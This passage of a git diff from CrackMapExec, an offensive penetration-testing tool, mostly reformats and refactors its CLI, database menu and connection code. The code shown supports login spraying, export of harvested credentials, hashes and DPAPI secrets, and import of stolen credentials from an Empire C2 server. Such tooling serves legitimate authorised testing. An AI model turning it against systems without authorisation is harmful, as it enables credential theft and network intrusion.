diff --git a/build_collector.py b/build_collector.py index d075582f..ac7aea63 100644 --- a/build_collector.py +++ b/build_collector.py @@ -10,6 +10,7 @@ from datetime import datetime from pathlib import Path from shiv.bootstrap import Environment + # from distutils.ccompiler import new_compiler from shiv.builder import create_archive from shiv.cli import __version__ as VERSION @@ -28,23 +29,30 @@ def build_cme(): os.mkdir("build") os.mkdir("bin") shutil.copytree("cme", "build/cme") - + except Exception as e: print(e) return subprocess.run( - [sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"], - check=True + [ + sys.executable, + "-m", + "pip", + "install", + "-r", + "requirements.txt", + "-t", + "build", + ], + check=True, ) - #[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")] + # [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")] [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")] env = Environment( - built_at=datetime.utcfromtimestamp(int(time.time())).strftime( - "%Y-%m-%d %H:%M:%S" - ), + built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="cme.crackmapexec:main", script=None, compile_pyc=False, @@ -60,12 +68,11 @@ def build_cme(): True, ) + def build_cmedb(): print("building CMEDB") env = Environment( - built_at=datetime.utcfromtimestamp(int(time.time())).strftime( - "%Y-%m-%d %H:%M:%S" - ), + built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="cme.cmedb:main", script=None, compile_pyc=False, @@ -81,6 +88,7 @@ def build_cmedb(): True, ) + if __name__ == "__main__": try: build_cme() diff --git a/cme/.hooks/hook-lsassy.py b/cme/.hooks/hook-lsassy.py index 7446ae57..305489cc 100644 --- a/cme/.hooks/hook-lsassy.py +++ b/cme/.hooks/hook-lsassy.py @@ -2,4 +2,5 @@ # -*- coding: utf-8 -*- from PyInstaller.utils.hooks import collect_all + datas, binaries, hiddenimports = collect_all("lsassy") diff --git a/cme/cli.py b/cme/cli.py index 0d51413e..67baf27a 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -10,14 +10,14 @@ from termcolor import colored def gen_cli_args(): - - VERSION = "5.4.6" + VERSION = "5.4.7" CODENAME = "Bruce Wayne" p_loader = ProtocolLoader() protocols = p_loader.get_protocols() - parser = argparse.ArgumentParser(description=f""" + parser = argparse.ArgumentParser( + description=f""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' @@ -33,12 +33,34 @@ def gen_cli_args(): {highlight('Version', 'red')} : {highlight(VERSION)} {highlight('Codename', 'red')}: {highlight(CODENAME)} -""", formatter_class=RawTextHelpFormatter) +""", + formatter_class=RawTextHelpFormatter, + ) - parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") - parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)") - parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)") - parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan") + parser.add_argument( + "-t", + type=int, + dest="threads", + default=100, + help="set how many concurrent threads to use (default: 100)", + ) + parser.add_argument( + "--timeout", + default=None, + type=int, + help="max timeout in seconds of each thread (default: None)", + ) + parser.add_argument( + "--jitter", + metavar="INTERVAL", + type=str, + help="sets a random delay between each connection (default: None)", + ) + parser.add_argument( + "--no-progress", + action="store_true", + help="Not displaying progress bar during scan", + ) parser.add_argument("--darrell", action="store_true", help="give Darrell a hand") parser.add_argument("--verbose", action="store_true", help="enable verbose output") parser.add_argument("--debug", action="store_true", help="enable debug level information") @@ -47,33 +69,119 @@ def gen_cli_args(): subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols") std_parser = argparse.ArgumentParser(add_help=False) - std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") - std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication') - std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames") - std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords") + std_parser.add_argument( + "target", + nargs="+", + type=str, + help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)", + ) + std_parser.add_argument( + "-id", + metavar="CRED_ID", + nargs="+", + default=[], + type=str, + dest="cred_id", + help="database credential ID(s) to use for authentication", + ) + std_parser.add_argument( + "-u", + metavar="USERNAME", + dest="username", + nargs="+", + default=[], + help="username(s) or file(s) containing usernames", + ) + std_parser.add_argument( + "-p", + metavar="PASSWORD", + dest="password", + nargs="+", + default=[], + help="password(s) or file(s) containing passwords", + ) std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") - std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2") - std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") - std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") + std_parser.add_argument( + "--use-kcache", + action="store_true", + help="Use Kerberos authentication from ccache file (KRB5CCNAME)", + ) std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file") - std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") - std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + std_parser.add_argument( + "--aesKey", + metavar="AESKEY", + nargs="+", + help="AES key to use for Kerberos Authentication (128 or 256 bits)", + ) + std_parser.add_argument( + "--kdcHost", + metavar="KDCHOST", + help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", + ) fail_group = std_parser.add_mutually_exclusive_group() - fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts") - fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username") - fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host") + fail_group.add_argument( + "--gfail-limit", + metavar="LIMIT", + type=int, + help="max number of global failed login attempts", + ) + fail_group.add_argument( + "--ufail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per username", + ) + fail_group.add_argument( + "--fail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per host", + ) module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use") - module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options") + module_parser.add_argument( + "-o", + metavar="MODULE_OPTION", + nargs="+", + default=[], + dest="module_options", + help="module options", + ) module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules") - module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options") - module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)") - module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)") - module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port") - module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)") + module_parser.add_argument( + "--options", + dest="show_module_options", + action="store_true", + help="display module options", + ) + module_parser.add_argument( + "--server", + choices={"http", "https"}, + default="https", + help="use the selected server (default: https)", + ) + module_parser.add_argument( + "--server-host", + type=str, + default="0.0.0.0", + metavar="HOST", + help="IP to bind the server to (default: 0.0.0.0)", + ) + module_parser.add_argument( + "--server-port", + metavar="PORT", + type=int, + help="start the server on the specified port", + ) + module_parser.add_argument( + "--connectback-host", + type=str, + metavar="CHOST", + help="IP for the remote system to connect back to (default: same as server-host)", + ) for protocol in protocols.keys(): protocol_object = p_loader.load_protocol(protocols[protocol]["path"]) diff --git a/cme/cmedb.py b/cme/cmedb.py index cf8b5cea..f4ee01ef 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -5,8 +5,11 @@ import cmd import configparser import csv import os +from os import listdir +from os.path import exists +from os.path import join as path_join import shutil -import sqlite3 +from sqlite3 import connect import sys from textwrap import dedent @@ -24,11 +27,7 @@ class UserExitedProto(Exception): def create_db_engine(db_path): - db_engine = create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True - ) + db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) return db_engine @@ -45,8 +44,14 @@ def write_csv(filename, headers, entries): """ Writes a CSV file with the provided parameters. """ - with open(os.path.expanduser(filename), 'w') as export_file: - csv_file = csv.writer(export_file, delimiter=";", quoting=csv.QUOTE_ALL, lineterminator='\n', escapechar="\\") + with open(os.path.expanduser(filename), "w") as export_file: + csv_file = csv.writer( + export_file, + delimiter=";", + quoting=csv.QUOTE_ALL, + lineterminator="\n", + escapechar="\\", + ) csv_file.writerow(headers) for entry in entries: csv_file.writerow(entry) @@ -66,8 +71,8 @@ def complete_import(text, line): """ Tab-complete 'import' commands """ - commands = ["empire", "metasploit"] - mline = line.partition(' ')[2] + commands = ("empire", "metasploit") + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -76,8 +81,16 @@ def complete_export(text, line): """ Tab-complete 'creds' commands. """ - commands = ["creds", "plaintext", "hashes", "shares", "local_admins", "signing", "keys"] - mline = line.partition(' ')[2] + commands = ( + "creds", + "plaintext", + "hashes", + "shares", + "local_admins", + "signing", + "keys", + ) + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -99,7 +112,8 @@ class DatabaseNavigator(cmd.Cmd): self.db.shutdown_db() sys.exit() - def help_exit(self): + @staticmethod + def help_exit(): help_string = """ Exits """ @@ -121,16 +135,23 @@ class DatabaseNavigator(cmd.Cmd): if len(line) < 3: print("[-] invalid arguments, export creds ") return - + filename = line[2] creds = self.db.get_credentials() - csv_header = ["id", "domain", "username", "password", "credtype", "pillaged_from"] - + csv_header = ( + "id", + "domain", + "username", + "password", + "credtype", + "pillaged_from", + ) + if line[1].lower() == "simple": write_csv(filename, csv_header, creds) elif line[1].lower() == "detailed": formatted_creds = [] - + for cred in creds: entry = [ cred[0], # ID @@ -147,16 +168,37 @@ class DatabaseNavigator(cmd.Cmd): write_csv(filename, csv_header, formatted_creds) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Creds exported') + return + print("[+] Creds exported") # Hosts elif command == "hosts": if len(line) < 3: print("[-] invalid arguments, export hosts ") return - csv_header_simple = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing"] - csv_header_detailed = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", "spooler", "zerologon", "petitpotam"] + csv_header_simple = ( + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + ) + csv_header_detailed = ( + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + "spooler", + "zerologon", + "petitpotam", + ) filename = line[2] if line[1].lower() == "simple": @@ -173,18 +215,18 @@ class DatabaseNavigator(cmd.Cmd): write_list(filename, signing_hosts) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Hosts exported') + return + print("[+] Hosts exported") # Shares elif command == "shares": if len(line) < 3: print("[-] invalid arguments, export shares ") return - + shares = self.db.get_shares() - csv_header = ["id", "host", "userid", "name", "remark", "read", "write"] + csv_header = ("id", "host", "userid", "name", "remark", "read", "write") filename = line[2] - + if line[1].lower() == "simple": write_csv(filename, csv_header, shares) print("[+] shares exported") @@ -193,22 +235,26 @@ class DatabaseNavigator(cmd.Cmd): formatted_shares = [] for share in shares: user = self.db.get_users(share[2])[0] - - entry = [ - share[0], # shareID - self.db.get_hosts(share[1])[0][2], # hosts - f"{user[1]}\{user[2]}", # userID - share[3], # name - share[4], # remark - bool(share[5]), # read - bool(share[6]) # write - ] + if self.db.get_hosts(share[1]): + share_host = self.db.get_hosts(share[1])[0][2] + else: + share_host = "ERROR" + + entry = ( + share[0], # shareID + share_host, # hosts + f"{user[1]}\{user[2]}", # userID + share[3], # name + share[4], # remark + bool(share[5]), # read + bool(share[6]), # write + ) formatted_shares.append(entry) write_csv(filename, csv_header, formatted_shares) + print("[+] Shares exported") else: print(f"[-] No such export option: {line[1]}") - return - print("[+] Shares exported") + return # Local Admin elif command == "local_admins": if len(line) < 3: @@ -217,28 +263,28 @@ class DatabaseNavigator(cmd.Cmd): # These values don't change between simple and detailed local_admins = self.db.get_admin_relations() - csv_header = ["id", "userid", "host"] + csv_header = ("id", "userid", "host") filename = line[2] - + if line[1].lower() == "simple": write_csv(filename, csv_header, local_admins) elif line[1].lower() == "detailed": formatted_local_admins = [] for entry in local_admins: user = self.db.get_users(filter_term=entry[1])[0] - - formatted_entry = [ - entry[0], # Entry ID - f"{user[1]}/{user[2]}", # DOMAIN/Username - self.db.get_hosts(filter_term=entry[2])[0][2] # Hostname - ] + + formatted_entry = ( + entry[0], # Entry ID + f"{user[1]}/{user[2]}", # DOMAIN/Username + self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname + ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_local_admins.append(formatted_entry) write_csv(filename, csv_header, formatted_local_admins) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Local Admins exported') + return + print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: print("[-] invalid arguments, export dpapi ") @@ -246,7 +292,15 @@ class DatabaseNavigator(cmd.Cmd): # These values don't change between simple and detailed dpapi_secrets = self.db.get_dpapi_secrets() - csv_header = ["id", "host", "dpapi_type", "windows_user", "username", "password", "url"] + csv_header = ( + "id", + "host", + "dpapi_type", + "windows_user", + "username", + "password", + "url", + ) filename = line[2] if line[1].lower() == "simple": @@ -254,23 +308,22 @@ class DatabaseNavigator(cmd.Cmd): elif line[1].lower() == "detailed": formatted_dpapi_secret = [] for entry in dpapi_secrets: - - formatted_entry = [ - entry[0], # Entry ID - self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname - entry[2], # DPAPI type - entry[3], # Windows User - entry[4], # Username - entry[5], # Password - entry[6], # URL - ] + formatted_entry = ( + entry[0], # Entry ID + self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname + entry[2], # DPAPI type + entry[3], # Windows User + entry[4], # Username + entry[5], # Password + entry[6], # URL + ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_dpapi_secret.append(formatted_entry) write_csv(filename, csv_header, formatted_dpapi_secret) else: - print('[-] No such export option: %s' % line[1]) - return - print('[+] DPAPI secrets exported') + print(f"[-] No such export option: {line[1]}") + return + print("[+] DPAPI secrets exported") elif command == "keys": if line[1].lower() == "all": keys = self.db.get_keys() @@ -282,7 +335,8 @@ class DatabaseNavigator(cmd.Cmd): else: print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi") - def help_export(self): + @staticmethod + def help_export(): help_string = """ export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename] Exports information to a specified file @@ -298,30 +352,43 @@ class DatabaseNavigator(cmd.Cmd): if not line: return - if line == 'empire': - headers = { - 'Content-Type': 'application/json' - } + if line == "empire": + headers = {"Content-Type": "application/json"} # Pull the username and password from the config file payload = { - 'username': self.config.get('Empire', 'username'), - 'password': self.config.get('Empire', 'password') + "username": self.config.get("Empire", "username"), + "password": self.config.get("Empire", "password"), } # Pull the host and port from the config file base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}" try: - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) + r = requests.post( + base_url + "/api/admin/login", + json=payload, + headers=headers, + verify=False, + ) if r.status_code == 200: - token = r.json()['token'] - url_params = {'token': token} - r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False) + token = r.json()["token"] + url_params = {"token": token} + r = requests.get( + base_url + "/api/creds", + headers=headers, + params=url_params, + verify=False, + ) creds = r.json() - for cred in creds['creds']: - if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'): + for cred in creds["creds"]: + if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"): continue - self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password']) + self.db.add_credential( + cred["credtype"], + cred["domain"], + cred["username"], + cred["password"], + ) print("[+] Empire credential import successful") else: print("[-] Error authenticating to Empire's RESTful API server!") @@ -345,35 +412,36 @@ class CMEDBMenu(cmd.Cmd): self.p_loader = ProtocolLoader() self.protocols = self.p_loader.get_protocols() - self.workspace = self.config.get('CME', 'workspace') + self.workspace = self.config.get("CME", "workspace") self.do_workspace(self.workspace) - self.db = self.config.get('CME', 'last_used_db') + self.db = self.config.get("CME", "last_used_db") if self.db: self.do_proto(self.db) def write_configfile(self): - with open(self.config_path, 'w') as configfile: + with open(self.config_path, "w") as configfile: self.config.write(configfile) def do_proto(self, proto): if not proto: return - proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + '.db') - if os.path.exists(proto_db_path): + proto_db_path = path_join(WORKSPACE_DIR, self.workspace, f"{proto}.db") + if exists(proto_db_path): self.conn = create_db_engine(proto_db_path) - db_nav_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath']) - db_object = self.p_loader.load_protocol(self.protocols[proto]['dbpath']) - self.config.set('CME', 'last_used_db', proto) + db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"]) + db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) + self.config.set("CME", "last_used_db", proto) self.write_configfile() try: - proto_menu = getattr(db_nav_object, 'navigator')(self, getattr(db_object, 'database')(self.conn), proto) + proto_menu = getattr(db_nav_object, "navigator")(self, getattr(db_object, "database")(self.conn), proto) proto_menu.cmdloop() except UserExitedProto: pass - def help_proto(self): + @staticmethod + def help_proto(): help_string = """ proto [smb|mssql|winrm] *unimplemented protocols: ftp, rdp, ldap, ssh @@ -384,39 +452,42 @@ class CMEDBMenu(cmd.Cmd): def do_workspace(self, line): line = line.strip() if not line: - subcommand = '' + subcommand = "" self.help_workspace() else: subcommand = line.split()[0] - if subcommand == 'create': + if subcommand == "create": new_workspace = line.split()[1].strip() print(f"[*] Creating workspace '{new_workspace}'") self.create_workspace(new_workspace, self.p_loader, self.protocols) self.do_workspace(new_workspace) - elif subcommand == 'list': + elif subcommand == "list": print("[*] Enumerating Workspaces") - for workspace in os.listdir(os.path.join(WORKSPACE_DIR)): + for workspace in listdir(path_join(WORKSPACE_DIR)): if workspace == self.workspace: - print("==> "+workspace) + print("==> " + workspace) else: print(workspace) - elif os.path.exists(os.path.join(WORKSPACE_DIR, line)): - self.config.set('CME', 'workspace', line) + elif exists(path_join(WORKSPACE_DIR, line)): + self.config.set("CME", "workspace", line) self.write_configfile() self.workspace = line self.prompt = f"cmedb ({line}) > " - def help_workspace(self): + @staticmethod + def help_workspace(): help_string = """ workspace [create | workspace list | workspace ] """ print_help(help_string) - def do_exit(self, line): + @staticmethod + def do_exit(line): sys.exit() - def help_exit(self): + @staticmethod + def help_exit(): help_string = """ Exits """ @@ -424,18 +495,15 @@ class CMEDBMenu(cmd.Cmd): def create_workspace(workspace_name, p_loader, protocols): - os.mkdir(os.path.join(WORKSPACE_DIR, workspace_name)) + os.mkdir(path_join(WORKSPACE_DIR, workspace_name)) for protocol in protocols.keys(): - try: - protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) - except KeyError: - continue - proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db") + protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) + proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db") - if not os.path.exists(proto_db_path): + if not exists(proto_db_path): print(f"[*] Initializing {protocol.upper()} protocol database") - conn = sqlite3.connect(proto_db_path) + conn = connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors @@ -450,27 +518,23 @@ def create_workspace(workspace_name, p_loader, protocols): def delete_workspace(workspace_name): - shutil.rmtree(os.path.join(WORKSPACE_DIR, workspace_name)) + shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name)) def initialize_db(logger): - if not os.path.exists(os.path.join(WS_PATH, "default")): + if not exists(path_join(WS_PATH, "default")): logger.debug("Creating default workspace") - os.mkdir(os.path.join(WS_PATH, "default")) + os.mkdir(path_join(WS_PATH, "default")) p_loader = ProtocolLoader() protocols = p_loader.get_protocols() for protocol in protocols.keys(): - try: - protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) - except KeyError: - continue + protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) + proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db") - proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db") - - if not os.path.exists(proto_db_path): + if not exists(proto_db_path): logger.debug(f"Initializing {protocol.upper()} protocol database") - conn = sqlite3.connect(proto_db_path) + conn = connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring @@ -484,7 +548,7 @@ def initialize_db(logger): def main(): - if not os.path.exists(CONFIG_PATH): + if not exists(CONFIG_PATH): print("[-] Unable to find config file") sys.exit(1) try: diff --git a/cme/connection.py b/cme/connection.py index 8c3b1dd7..fda05193 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -3,7 +3,8 @@ import random import socket -import sys +from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME +from socket import getaddrinfo from os.path import isfile from threading import BoundedSemaphore from functools import wraps @@ -21,14 +22,12 @@ user_failed_logins = {} def gethost_addrinfo(hostname): try: - for res in socket.getaddrinfo(hostname, None, socket.AF_INET6, - socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME): + for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res except socket.gaierror: - for res in socket.getaddrinfo(hostname, None, socket.AF_INET, - socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME): + for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res - if canonname == '': + if canonname == "": return sa[0] return canonname @@ -38,6 +37,7 @@ def requires_admin(func): if self.admin_privs is False: return return func(self, *args, **kwargs) + return wraps(func)(_decorator) @@ -103,7 +103,16 @@ class connection(object): def check_if_admin(self): return - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): return def plaintext_login(self, domain, username, password): @@ -140,7 +149,7 @@ class connection(object): "module_name": module.name.upper(), "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, }, ) diff --git a/cme/console.py b/cme/console.py index 88cebe61..a39b3aa7 100644 --- a/cme/console.py +++ b/cme/console.py @@ -1,6 +1,3 @@ from rich.console import Console -cme_console = Console( - soft_wrap=True, - tab_size=4 -) +cme_console = Console(soft_wrap=True, tab_size=4) diff --git a/cme/context.py b/cme/context.py index 7cf068e2..a3b6bec8 100755 --- a/cme/context.py +++ b/cme/context.py @@ -11,11 +11,11 @@ class Context: setattr(self, key, value) self.db = db - self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs') + self.log_folder_path = os.path.join(os.path.expanduser("~/.cme"), "logs") self.localip = None self.conf = configparser.ConfigParser() - self.conf.read(os.path.expanduser('~/.cme/cme.conf')) + self.conf.read(os.path.expanduser("~/.cme/cme.conf")) self.log = logger # self.log.debug = logging.debug diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 47a4e7c4..a9108b18 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -15,16 +15,17 @@ from cme.paths import CME_PATH, DATA_PATH from cme.console import cme_console from cme.logger import cme_logger from cme.config import cme_config, cme_workspace, config_log, ignore_opsec -from concurrent.futures import ThreadPoolExecutor +from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio import cme.helpers.powershell as powershell import shutil import webbrowser import random import os -import sys +from os.path import exists +from os.path import join as path_join +from sys import exit import logging -import concurrent.futures import sqlalchemy from rich.progress import Progress @@ -32,15 +33,11 @@ try: import librlers except: print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)") - sys.exit(1) + exit(1) def create_db_engine(db_path): - db_engine = sqlalchemy.create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True - ) + db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) return db_engine @@ -57,11 +54,11 @@ async def start_run(protocol_obj, args, db, targets): total = len(targets) tasks = progress.add_task( f"[green]Running CME against {total} {'target' if total == 1 else 'targets'}", - total=total + total=total, ) cme_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] - for future in concurrent.futures.as_completed(futures): + for future in as_completed(futures): current += 1 progress.update(tasks, completed=current) @@ -81,7 +78,8 @@ def main(): cme_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) - # if these are the same, it might double log to file (two FileHandlers will be added), but this should never happen by accident + # if these are the same, it might double log to file (two FileHandlers will be added) + # but this should never happen by accident if config_log: cme_logger.add_file_log() if hasattr(args, "log") and args.log: @@ -90,23 +88,23 @@ def main(): cme_logger.debug(f"Passed args: {args}") if args.darrell: - links = open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() + links = open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() try: webbrowser.open(random.choice(links)) - sys.exit(1) + exit(1) except Exception as e: cme_logger.error(f"Error opening le dank meme: {e}") - sys.exit(1) - + exit(1) + if args.protocol == "ssh": if args.key_file: if not args.password: cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`") - sys.exit(1) + exit(1) if args.use_kcache and not os.environ.get("KRB5CCNAME"): cme_logger.error("KRB5CCNAME environment variable is not set") - sys.exit(1) + exit(1) module_server = None targets = [] @@ -122,11 +120,11 @@ def main(): args.cred_id.remove(cred_id) except Exception as e: cme_logger.error(f"Error parsing database credential id: {e}") - sys.exit(1) + exit(1) if hasattr(args, "target") and args.target: for target in args.target: - if os.path.exists(target): + if exists(target): target_file_type = identify_target_file(target) if target_file_type == "nmap": targets.extend(parse_nmap_xml(target, args.protocol)) @@ -160,7 +158,7 @@ def main(): protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database") cme_logger.debug(f"Protocol DB Object: {protocol_db_object}") - db_path = os.path.join(CME_PATH, "workspaces", cme_workspace, args.protocol + ".db") + db_path = path_join(CME_PATH, "workspaces", cme_workspace, f"{args.protocol}.db") cme_logger.debug(f"DB Path: {db_path}") db_engine = create_db_engine(db_path) @@ -177,11 +175,11 @@ def main(): for name, props in sorted(modules.items()): if args.protocol in props["supported_protocols"]: cme_logger.display(f"{name:<25} {props['description']}") - sys.exit(0) + exit(0) elif args.module and args.show_module_options: for module in args.module: cme_logger.display(f"{module} module options:\n{modules[module]['options']}") - sys.exit(0) + exit(0) elif args.module: cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}") for m in map(str.lower, args.module): @@ -198,14 +196,23 @@ def main(): cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") else: ans = input( - highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", 'red')) + highlight( + "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/cme/cme.conf", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: - sys.exit(1) + exit(1) if not module.multiple_hosts and len(targets) > 1: - ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) + ans = input( + highlight( + "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: - sys.exit(1) + exit(1) if hasattr(module, "on_request") or hasattr(module, "has_response"): if hasattr(module, "required_server"): @@ -223,7 +230,7 @@ def main(): cme_logger, args.server_host, args.server_port, - args.server + args.server, ) module_server.start() protocol_object.server = module_server.server @@ -239,14 +246,17 @@ def main(): cme_logger.debug(f"proto object module after adding: {protocol_object.module}") if hasattr(args, "ntds") and args.ntds and not args.userntds: - ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red')) - if ans.lower() not in ['y', 'yes', '']: - sys.exit(1) + ans = input( + highlight( + "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", + "red", + ) + ) + if ans.lower() not in ["y", "yes", ""]: + exit(1) try: - asyncio.run( - start_run(protocol_object, args, db, targets) - ) + asyncio.run(start_run(protocol_object, args, db, targets)) except KeyboardInterrupt: cme_logger.debug("Got keyboard interrupt") finally: diff --git 